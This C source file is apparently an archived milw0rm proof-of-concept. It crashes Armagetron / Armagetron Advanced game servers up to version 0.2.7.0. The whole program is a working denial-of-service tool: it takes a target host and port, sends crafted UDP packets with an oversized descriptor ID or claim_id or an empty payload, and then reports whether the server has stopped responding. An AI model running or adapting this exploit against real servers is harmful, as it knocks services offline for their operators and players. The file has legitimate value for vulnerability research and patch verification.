296 lines
No EOL
8.4 KiB
C
296 lines
No EOL
8.4 KiB
C
/*
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by Luigi Auriemma
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <time.h>
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#ifdef WIN32
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#include <winsock.h>
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/* inserted win32.h /str0ke */
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/*
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Header file used for manage errors in Windows
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It support socket and errno too
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(this header replace the previous sock_errX.h)
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*/
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#include <string.h>
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#include <errno.h>
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void std_err(void) {
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char *error;
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switch(WSAGetLastError()) {
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case 10004: error = "Interrupted system call"; break;
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case 10009: error = "Bad file number"; break;
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case 10013: error = "Permission denied"; break;
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case 10014: error = "Bad address"; break;
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case 10022: error = "Invalid argument (not bind)"; break;
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case 10024: error = "Too many open files"; break;
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case 10035: error = "Operation would block"; break;
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case 10036: error = "Operation now in progress"; break;
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case 10037: error = "Operation already in progress"; break;
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case 10038: error = "Socket operation on non-socket"; break;
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case 10039: error = "Destination address required"; break;
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case 10040: error = "Message too long"; break;
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case 10041: error = "Protocol wrong type for socket"; break;
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case 10042: error = "Bad protocol option"; break;
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case 10043: error = "Protocol not supported"; break;
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case 10044: error = "Socket type not supported"; break;
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case 10045: error = "Operation not supported on socket"; break;
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case 10046: error = "Protocol family not supported"; break;
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case 10047: error = "Address family not supported by protocol family"; break;
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case 10048: error = "Address already in use"; break;
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case 10049: error = "Can't assign requested address"; break;
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case 10050: error = "Network is down"; break;
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case 10051: error = "Network is unreachable"; break;
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case 10052: error = "Net dropped connection or reset"; break;
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case 10053: error = "Software caused connection abort"; break;
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case 10054: error = "Connection reset by peer"; break;
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case 10055: error = "No buffer space available"; break;
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case 10056: error = "Socket is already connected"; break;
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case 10057: error = "Socket is not connected"; break;
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case 10058: error = "Can't send after socket shutdown"; break;
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case 10059: error = "Too many references, can't splice"; break;
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case 10060: error = "Connection timed out"; break;
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case 10061: error = "Connection refused"; break;
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case 10062: error = "Too many levels of symbolic links"; break;
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case 10063: error = "File name too long"; break;
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case 10064: error = "Host is down"; break;
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case 10065: error = "No Route to Host"; break;
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case 10066: error = "Directory not empty"; break;
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case 10067: error = "Too many processes"; break;
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case 10068: error = "Too many users"; break;
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case 10069: error = "Disc Quota Exceeded"; break;
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case 10070: error = "Stale NFS file handle"; break;
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case 10091: error = "Network SubSystem is unavailable"; break;
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case 10092: error = "WINSOCK DLL Version out of range"; break;
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case 10093: error = "Successful WSASTARTUP not yet performed"; break;
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case 10071: error = "Too many levels of remote in path"; break;
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case 11001: error = "Host not found"; break;
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case 11002: error = "Non-Authoritative Host not found"; break;
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case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
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case 11004: error = "Valid name, no data record of requested type"; break;
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default: error = strerror(errno); break;
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}
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fprintf(stderr, "\nError: %s\n", error);
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exit(1);
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}
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#define close closesocket
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#else
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#include <unistd.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <arpa/inet.h>
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#include <netinet/in.h>
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#include <netdb.h>
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#endif
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#define VER "0.1"
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#define BUFFSZ 2048
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#define PORT 4534
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#define TIMEOUT 3
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#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
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< 0) std_err();
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#define RECV if(timeout(sd) < 0) { \
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fputs("\nError: socket timeout, no reply received\n\n", stdout); \
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exit(1); \
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} \
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len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
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if(len < 0) std_err();
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void show_info(u_char *data, int len);
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int timeout(int sock);
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u_long resolv(char *host);
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void std_err(void);
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int main(int argc, char *argv[]) {
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struct sockaddr_in peer;
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int sd,
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len;
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u_short port = PORT;
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u_char buff[BUFFSZ],
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info[] =
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"\x00\x35"
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"\x00\x00"
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"\x00\x00"
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"\x00\x00",
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pck[] =
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"\x00\x06" // ID
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"\x00\x26"
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"\x00\x01"
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"\x00\x04"
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"\x00\x00"; // peers[claim_id]
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setbuf(stdout, NULL);
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fputs("\n"
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"Armagetron / Armagetron Advanced <= 0.2.7.0 server crash "VER"\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@autistici.org\n"
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"web: http://aluigi.altervista.org\n"
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"\n", stdout);
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if(argc < 3) {
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printf("\n"
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"Usage: %s <attack> <host> [port(%d)]\n"
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"\n"
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"Attack:\n"
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" 1 = crash caused by big descriptor ID\n"
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" 2 = crash caused by big claim_id\n"
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" 3 = socket unreacheable through empty packet\n"
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"\n", argv[0], port);
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exit(1);
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}
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#ifdef WIN32
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WSADATA wsadata;
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WSAStartup(MAKEWORD(1,0), &wsadata);
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#endif
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if(argc > 3) port = atoi(argv[3]);
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peer.sin_addr.s_addr = resolv(argv[2]);
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peer.sin_port = htons(port);
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peer.sin_family = AF_INET;
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printf("- target %s : %hu\n",
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inet_ntoa(peer.sin_addr), port);
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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fputs("- retrieve informations:\n", stdout);
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SEND(info);
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RECV;
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show_info(buff, len);
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fputs("- send BOOM packet\n", stdout);
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switch(atoi(argv[1])) {
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case 1: {
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*(u_short *)pck = htons(0xffff);
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SEND(pck);
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} break;
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case 2: {
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*(u_short *)(pck + sizeof(pck) - 3) = htons(0xffff);
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SEND(pck);
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} break;
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case 3: {
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SEND("");
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} break;
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default: {
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fputs("\nError: wrong type of attack selected\n\n", stdout);
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exit(1);
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}
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}
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fputs("- check server:\n", stdout);
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SEND(info);
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if(timeout(sd) < 0) {
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fputs("\nServer IS vulnerable!!!\n\n", stdout);
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} else {
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fputs("\nServer doesn't seem vulnerable\n\n", stdout);
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}
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close(sd);
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return(0);
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}
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void show_info(u_char *data, int len) {
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#define SHOW(x) sz = *(u_short *)data; \
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data += 2; \
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if(sz > 1) printf(x "%s\n", data); \
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data += sz + (sz & 1);
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u_short *ds,
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sz,
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players;
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u_char *p,
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*p1;
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ds = (u_short *)data;
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for(len >>= 1; len--; ds++) {
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*ds = ntohs(*ds);
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}
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fputc('\n', stdout);
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data += 14;
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SHOW(" Hostname ");
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players = *(u_short *)data;
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data += 12;
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SHOW(" version ");
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data += 4;
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sz = *(u_short *)data;
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data += 2;
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printf(" %d players:\n", players);
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for(p = data; players--; p = p1 + 1) {
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p1 = strchr(p, '\n');
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if(!p1) break;
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*p1 = 0x00;
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printf(" - %s\n", p);
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}
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data += sz + (sz & 1) + 4;
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SHOW(" URL ");
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fputc('\n', stdout);
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#undef SHOW
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}
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int timeout(int sock) {
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struct timeval tout;
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fd_set fd_read;
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int err;
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tout.tv_sec = TIMEOUT;
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tout.tv_usec = 0;
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FD_ZERO(&fd_read);
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FD_SET(sock, &fd_read);
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err = select(sock + 1, &fd_read, NULL, NULL, &tout);
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if(err < 0) std_err();
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if(!err) return(-1);
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return(0);
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}
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u_long resolv(char *host) {
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struct hostent *hp;
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u_long host_ip;
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host_ip = inet_addr(host);
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if(host_ip == INADDR_NONE) {
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hp = gethostbyname(host);
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if(!hp) {
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printf("\nError: Unable to resolv hostname (%s)\n", host);
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exit(1);
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} else host_ip = *(u_long *)hp->h_addr;
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}
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return(host_ip);
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}
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#ifndef WIN32
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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#endif
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// milw0rm.com [2005-02-10]
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